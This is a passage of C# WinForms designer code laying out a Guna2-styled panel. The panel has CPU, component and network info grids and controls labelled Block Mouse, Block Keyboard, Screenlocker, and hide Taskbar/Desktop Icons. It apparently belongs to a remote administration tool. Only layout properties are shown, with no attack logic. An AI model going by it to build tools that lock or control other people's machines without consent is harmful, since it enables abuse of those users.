System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle46.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle46.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.componentsDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle46;\n            this.componentsDataGridView.ColumnHeadersHeight = 36;\n            this.componentsDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column38,\n            this.Column39});\n            this.componentsDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.componentsDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.componentsDataGridView.EnableHeadersVisualStyles = false;\n            this.componentsDataGridView.GridColor = System.Drawing.Color.White;\n            this.componentsDataGridView.Location = new System.Drawing.Point(2, 2);\n            this.componentsDataGridView.Name = \"componentsDataGridView\";\n            this.componentsDataGridView.ReadOnly = true;\n            this.componentsDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle48.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle48.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle48.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle48.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.componentsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle48;\n            this.componentsDataGridView.RowTemplate.Height = 26;\n            this.componentsDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.componentsDataGridView.Size = new System.Drawing.Size(266, 292);\n            this.componentsDataGridView.TabIndex = 19;\n            this.componentsDataGridView.TabStop = false;\n            // \n            // Column38\n            // \n            this.Column38.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle47.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column38.DefaultCellStyle = dataGridViewCellStyle47;\n            this.Column38.FillWeight = 25F;\n            this.Column38.HeaderText = \"Component\";\n            this.Column38.Name = \"Column38\";\n            this.Column38.ReadOnly = true;\n            // \n            // Column39\n            // \n            this.Column39.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column39.FillWeight = 25F;\n            this.Column39.HeaderText = \"Value\";\n            this.Column39.Name = \"Column39\";\n            this.Column39.ReadOnly = true;\n            // \n            // guna2VScrollBar10\n            // \n            this.guna2VScrollBar10.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar10.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar10.InUpdate = false;\n            this.guna2VScrollBar10.LargeChange = 10;\n            this.guna2VScrollBar10.Location = new System.Drawing.Point(268, 2);\n            this.guna2VScrollBar10.Minimum = 1;\n            this.guna2VScrollBar10.Name = \"guna2VScrollBar10\";\n            this.guna2VScrollBar10.ScrollbarSize = 18;\n            this.guna2VScrollBar10.Size = new System.Drawing.Size(18, 292);\n            this.guna2VScrollBar10.TabIndex = 21;\n            this.guna2VScrollBar10.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.guna2VScrollBar10.Value = 1;\n            // \n            // panel13\n            // \n            this.panel13.Controls.Add(this.cpuDataGridView);\n            this.panel13.Controls.Add(this.guna2VScrollBar9);\n            this.panel13.Controls.Add(this.panel14);\n            this.panel13.Dock = System.Windows.Forms.DockStyle.Left;\n            this.panel13.Location = new System.Drawing.Point(2, 42);\n            this.panel13.Name = \"panel13\";\n            this.panel13.Padding = new System.Windows.Forms.Padding(2);\n            this.panel13.Size = new System.Drawing.Size(279, 294);\n            this.panel13.TabIndex = 20;\n            // \n            // cpuDataGridView\n            // \n            this.cpuDataGridView.AllowDrop = true;\n            this.cpuDataGridView.AllowUserToAddRows = false;\n            this.cpuDataGridView.AllowUserToDeleteRows = false;\n            this.cpuDataGridView.AllowUserToResizeColumns = false;\n            this.cpuDataGridView.AllowUserToResizeRows = false;\n            this.cpuDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.cpuDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.cpuDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.cpuDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle49.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle49.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle49.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle49.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle49.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle49.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle49.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.cpuDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle49;\n            this.cpuDataGridView.ColumnHeadersHeight = 36;\n            this.cpuDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column36,\n            this.Column37});\n            this.cpuDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.cpuDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.cpuDataGridView.EnableHeadersVisualStyles = false;\n            this.cpuDataGridView.GridColor = System.Drawing.Color.White;\n            this.cpuDataGridView.Location = new System.Drawing.Point(2, 2);\n            this.cpuDataGridView.Name = \"cpuDataGridView\";\n            this.cpuDataGridView.ReadOnly = true;\n            this.cpuDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle51.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle51.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle51.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle51.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.cpuDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle51;\n            this.cpuDataGridView.RowTemplate.Height = 26;\n            this.cpuDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.cpuDataGridView.Size = new System.Drawing.Size(252, 290);\n            this.cpuDataGridView.TabIndex = 18;\n            this.cpuDataGridView.TabStop = false;\n            // \n            // Column36\n            // \n            this.Column36.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle50.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column36.DefaultCellStyle = dataGridViewCellStyle50;\n            this.Column36.FillWeight = 25F;\n            this.Column36.HeaderText = \"CPU Features\";\n            this.Column36.Name = \"Column36\";\n            this.Column36.ReadOnly = true;\n            // \n            // Column37\n            // \n            this.Column37.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column37.FillWeight = 25F;\n            this.Column37.HeaderText = \"Present\";\n            this.Column37.Name = \"Column37\";\n            this.Column37.ReadOnly = true;\n            // \n            // guna2VScrollBar9\n            // \n            this.guna2VScrollBar9.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar9.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar9.InUpdate = false;\n            this.guna2VScrollBar9.LargeChange = 10;\n            this.guna2VScrollBar9.Location = new System.Drawing.Point(254, 2);\n            this.guna2VScrollBar9.Minimum = 1;\n            this.guna2VScrollBar9.Name = \"guna2VScrollBar9\";\n            this.guna2VScrollBar9.ScrollbarSize = 18;\n            this.guna2VScrollBar9.Size = new System.Drawing.Size(18, 290);\n            this.guna2VScrollBar9.TabIndex = 20;\n            this.guna2VScrollBar9.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.guna2VScrollBar9.Value = 1;\n            // \n            // panel14\n            // \n            this.panel14.Dock = System.Windows.Forms.DockStyle.Right;\n            this.panel14.Location = new System.Drawing.Point(272, 2);\n            this.panel14.Name = \"panel14\";\n            this.panel14.Size = new System.Drawing.Size(5, 290);\n            this.panel14.TabIndex = 19;\n            // \n            // tabPage31\n            // \n            this.tabPage31.BackColor = System.Drawing.Color.White;\n            this.tabPage31.Controls.Add(this.guna2VScrollBar15);\n            this.tabPage31.Controls.Add(this.networkInformationDataGridView);\n            this.tabPage31.Controls.Add(this.retrieveNetworkGuna2Button);\n            this.tabPage31.Location = new System.Drawing.Point(4, 44);\n            this.tabPage31.Name = \"tabPage31\";\n            this.tabPage31.Padding = new System.Windows.Forms.Padding(0, 40, 0, 0);\n            this.tabPage31.Size = new System.Drawing.Size(1075, 378);\n            this.tabPage31.TabIndex = 1;\n            this.tabPage31.Text = \"Network\";\n            // \n            // guna2VScrollBar15\n            // \n            this.guna2VScrollBar15.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar15.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar15.InUpdate = false;\n            this.guna2VScrollBar15.LargeChange = 10;\n            this.guna2VScrollBar15.Location = new System.Drawing.Point(1057, 40);\n            this.guna2VScrollBar15.Minimum = 1;\n            this.guna2VScrollBar15.Name = \"guna2VScrollBar15\";\n            this.guna2VScrollBar15.ScrollbarSize = 18;\n            this.guna2VScrollBar15.Size = new System.Drawing.Size(18, 338);\n            this.guna2VScrollBar15.TabIndex = 38;\n            this.guna2VScrollBar15.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.guna2VScrollBar15.Value = 1;\n            // \n            // networkInformationDataGridView\n            // \n            this.networkInformationDataGridView.AllowDrop = true;\n            this.networkInformationDataGridView.AllowUserToAddRows = false;\n            this.networkInformationDataGridView.AllowUserToDeleteRows = false;\n            this.networkInformationDataGridView.AllowUserToResizeColumns = false;\n            this.networkInformationDataGridView.AllowUserToResizeRows = false;\n            this.networkInformationDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.networkInformationDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.networkInformationDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.networkInformationDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle52.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle52.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle52.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle52.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle52.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle52.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle52.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.networkInformationDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle52;\n            this.networkInformationDataGridView.ColumnHeadersHeight = 36;\n            this.networkInformationDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column48,\n            this.Column49,\n            this.Column50,\n            this.Column51,\n            this.Column52});\n            this.networkInformationDataGridView.ContextMenuStrip = this.nativePEContextMenuStrip;\n            this.networkInformationDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.networkInformationDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.networkInformationDataGridView.EnableHeadersVisualStyles = false;\n            this.networkInformationDataGridView.GridColor = System.Drawing.Color.White;\n            this.networkInformationDataGridView.Location = new System.Drawing.Point(0, 40);\n            this.networkInformationDataGridView.Name = \"networkInformationDataGridView\";\n            this.networkInformationDataGridView.ReadOnly = true;\n            this.networkInformationDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle54.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle54.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle54.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle54.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.networkInformationDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle54;\n            this.networkInformationDataGridView.RowTemplate.Height = 26;\n            this.networkInformationDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.networkInformationDataGridView.Size = new System.Drawing.Size(1075, 338);\n            this.networkInformationDataGridView.TabIndex = 37;\n            this.networkInformationDataGridView.TabStop = false;\n            // \n            // retrieveNetworkGuna2Button\n            // \n            this.retrieveNetworkGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.retrieveNetworkGuna2Button.Animated = true;\n            this.retrieveNetworkGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.retrieveNetworkGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.retrieveNetworkGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.retrieveNetworkGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.retrieveNetworkGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.retrieveNetworkGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.retrieveNetworkGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.retrieveNetworkGuna2Button.Location = new System.Drawing.Point(3, 3);\n            this.retrieveNetworkGuna2Button.Name = \"retrieveNetworkGuna2Button\";\n            this.retrieveNetworkGuna2Button.Size = new System.Drawing.Size(1069, 33);\n            this.retrieveNetworkGuna2Button.TabIndex = 36;\n            this.retrieveNetworkGuna2Button.Text = \"Retrieve information\";\n            this.retrieveNetworkGuna2Button.Click += new System.EventHandler(this.retrieveNetworkGuna2Button_Click);\n            // \n            // tabPage18\n            // \n            this.tabPage18.Controls.Add(this.panel18);\n            this.tabPage18.Location = new System.Drawing.Point(4, 44);\n            this.tabPage18.Name = \"tabPage18\";\n            this.tabPage18.Padding = new System.Windows.Forms.Padding(3);\n            this.tabPage18.Size = new System.Drawing.Size(1083, 426);\n            this.tabPage18.TabIndex = 4;\n            this.tabPage18.Text = \"Other\";\n            this.tabPage18.UseVisualStyleBackColor = true;\n            // \n            // panel18\n            // \n            this.panel18.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) \n            | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.panel18.Controls.Add(this.panel19);\n            this.panel18.Location = new System.Drawing.Point(3, 3);\n            this.panel18.Name = \"panel18\";\n            this.panel18.Padding = new System.Windows.Forms.Padding(25);\n            this.panel18.Size = new System.Drawing.Size(1077, 420);\n            this.panel18.TabIndex = 58;\n            // \n            // panel19\n            // \n            this.panel19.Controls.Add(this.guna2GroupBox3);\n            this.panel19.Controls.Add(this.guna2GroupBox5);\n            this.panel19.Controls.Add(this.guna2GroupBox6);\n            this.panel19.Controls.Add(this.guna2GroupBox8);\n            this.panel19.Controls.Add(this.guna2GroupBox4);\n            this.panel19.Controls.Add(this.guna2GroupBox7);\n            this.panel19.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.panel19.Location = new System.Drawing.Point(25, 25);\n            this.panel19.Name = \"panel19\";\n            this.panel19.Padding = new System.Windows.Forms.Padding(50);\n            this.panel19.Size = new System.Drawing.Size(1027, 370);\n            this.panel19.TabIndex = 58;\n            // \n            // guna2GroupBox3\n            // \n            this.guna2GroupBox3.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.guna2GroupBox3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox3.BorderThickness = 0;\n            this.guna2GroupBox3.Controls.Add(this.blockMouseGuna2CheckBox);\n            this.guna2GroupBox3.Controls.Add(this.blockKeyboardGuna2CheckBox);\n            this.guna2GroupBox3.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox3.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.guna2GroupBox3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.guna2GroupBox3.Location = new System.Drawing.Point(15, 15);\n            this.guna2GroupBox3.Name = \"guna2GroupBox3\";\n            this.guna2GroupBox3.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2);\n            this.guna2GroupBox3.Size = new System.Drawing.Size(254, 77);\n            this.guna2GroupBox3.TabIndex = 10;\n            this.guna2GroupBox3.Text = \"Hardware\";\n            // \n            // blockMouseGuna2CheckBox\n            // \n            this.blockMouseGuna2CheckBox.AutoSize = true;\n            this.blockMouseGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.blockMouseGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.blockMouseGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.blockMouseGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.blockMouseGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.blockMouseGuna2CheckBox.Location = new System.Drawing.Point(132, 45);\n            this.blockMouseGuna2CheckBox.Name = \"blockMouseGuna2CheckBox\";\n            this.blockMouseGuna2CheckBox.Size = new System.Drawing.Size(91, 17);\n            this.blockMouseGuna2CheckBox.TabIndex = 51;\n            this.blockMouseGuna2CheckBox.Text = \"Block Mouse\";\n            this.blockMouseGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.blockMouseGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.blockMouseGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.blockMouseGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.blockMouseGuna2CheckBox.CheckedChanged += new System.EventHandler(this.blockMouseGuna2CheckBox_CheckedChanged);\n            // \n            // blockKeyboardGuna2CheckBox\n            // \n            this.blockKeyboardGuna2CheckBox.AutoSize = true;\n            this.blockKeyboardGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.blockKeyboardGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.blockKeyboardGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.blockKeyboardGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.blockKeyboardGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.blockKeyboardGuna2CheckBox.Location = new System.Drawing.Point(5, 45);\n            this.blockKeyboardGuna2CheckBox.Name = \"blockKeyboardGuna2CheckBox\";\n            this.blockKeyboardGuna2CheckBox.Size = new System.Drawing.Size(107, 17);\n            this.blockKeyboardGuna2CheckBox.TabIndex = 50;\n            this.blockKeyboardGuna2CheckBox.Text = \"Block Keyboard\";\n            this.blockKeyboardGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.blockKeyboardGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.blockKeyboardGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.blockKeyboardGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.blockKeyboardGuna2CheckBox.CheckedChanged += new System.EventHandler(this.blockKeyboardGuna2CheckBox_CheckedChanged);\n            // \n            // guna2GroupBox5\n            // \n            this.guna2GroupBox5.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.guna2GroupBox5.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox5.BorderThickness = 0;\n            this.guna2GroupBox5.Controls.Add(this.screenlockerGuna2CheckBox);\n            this.guna2GroupBox5.Controls.Add(this.showDesktopIconsGuna2Button);\n            this.guna2GroupBox5.Controls.Add(this.hideDesktopIconsGuna2Button);\n            this.guna2GroupBox5.Controls.Add(this.label10);\n            this.guna2GroupBox5.Controls.Add(this.label9);\n            this.guna2GroupBox5.Controls.Add(this.showTaskbarGuna2Button);\n            this.guna2GroupBox5.Controls.Add(this.hideTaskbarGuna2Button);\n            this.guna2GroupBox5.Controls.Add(this.wallpaperGuna2Button);\n            this.guna2GroupBox5.Controls.Add(this.label8);\n            this.guna2GroupBox5.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox5.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.guna2GroupBox5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.guna2GroupBox5.Location = new System.Drawing.Point(275, 15);\n            this.guna2GroupBox5.Name = \"guna2GroupBox5\";\n            this.guna2GroupBox5.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2);\n            this.guna2GroupBox5.Size = new System.Drawing.Size(382, 222);\n            this.guna2GroupBox5.TabIndex = 55;\n            this.guna2GroupBox5.Text = \"UI\";\n            // \n            // screenlockerGuna2CheckBox\n            // \n            this.screenlockerGuna2CheckBox.AutoSize = true;\n            this.screenlockerGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.screenlockerGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.screenlockerGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.screenlockerGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.screenlockerGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.screenlockerGuna2CheckBox.Location = new System.Drawing.Point(4, 205);\n            this.screenlockerGuna2CheckBox.Name = \"screenlockerGuna2CheckBox\";\n            this.screenlockerGuna2CheckBox.Size = new System.Drawing.Size(90, 17);\n            this.screenlockerGuna2CheckBox.TabIndex = 62;\n            this.screenlockerGuna2CheckBox.Text = \"Screenlocker\";\n            this.screenlockerGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.screenlockerGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.screenlockerGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.screenlockerGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.screenlockerGuna2CheckBox.CheckedChanged += new System.EventHandler(this.screenlockerGuna2CheckBox_CheckedChanged);\n            // \n            // showDesktopIconsGuna2Button\n            // \n            this.showDesktopIconsGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));\n            this.showDesktopIconsGuna2Button.Animated = true;\n            this.showDesktopIconsGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.showDesktopIconsGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.showDesktopIconsGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.showDesktopIconsGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.showDesktopIconsGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.showDesktopIconsGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.showDesktopIconsGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.showDesktopIconsGuna2Button.Location = new System.Drawing.Point(241, 160);\n            this.showDesktopIconsGuna2Button.Name = \"showDesktopIconsGuna2Button\";\n            this.showDesktopIconsGuna2Button.Size = new System.Drawing.Size(136, 36);\n            this.showDesktopIconsGuna2Button.TabIndex = 61;\n            this.showDesktopIconsGuna2Button.Text = \"Show\";\n            this.showDesktopIconsGuna2Button.Click += new System.EventHandler(this.showDesktopIconsGuna2Button_Click);\n            // \n            // hideDesktopIconsGuna2Button\n            // \n            this.hideDesktopIconsGuna2Button.Animated = true;\n            this.hideDesktopIconsGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.hideDesktopIconsGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.hideDesktopIconsGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.hideDesktopIconsGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.hideDesktopIconsGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.hideDesktopIconsGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.hideDesktopIconsGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.hideDesktopIconsGuna2Button.Location = new System.Drawing.Point(94, 160);\n            this.hideDesktopIconsGuna2Button.Name = \"hideDesktopIconsGuna2Button\";\n            this.hideDesktopIconsGuna2Button.Size = new System.Drawing.Size(136, 36);\n            this.hideDesktopIconsGuna2Button.TabIndex = 60;\n            this.hideDesktopIconsGuna2Button.Text = \"Hide\";\n            this.hideDesktopIconsGuna2Button.Click += new System.EventHandler(this.hideDesktopIconsGuna2Button_Click);\n            // \n            // label10\n            // \n            this.label10.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label10.Location = new System.Drawing.Point(1, 159);\n            this.label10.Name = \"label10\";\n            this.label10.Size = new System.Drawing.Size(86, 38);\n            this.label10.TabIndex = 59;\n            this.label10.Text = \"Desktop Icons :\";\n            this.label10.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // label9\n            // \n            this.label9.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label9.Location = new System.Drawing.Point(1, 106);\n            this.label9.Name = \"label9\";\n            this.label9.Size = new System.Drawing.Size(75, 38);\n            this.label9.TabIndex = 58;\n            this.label9.Text = \"Taskbar :\";\n            this.label9.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // showTaskbarGuna2Button\n            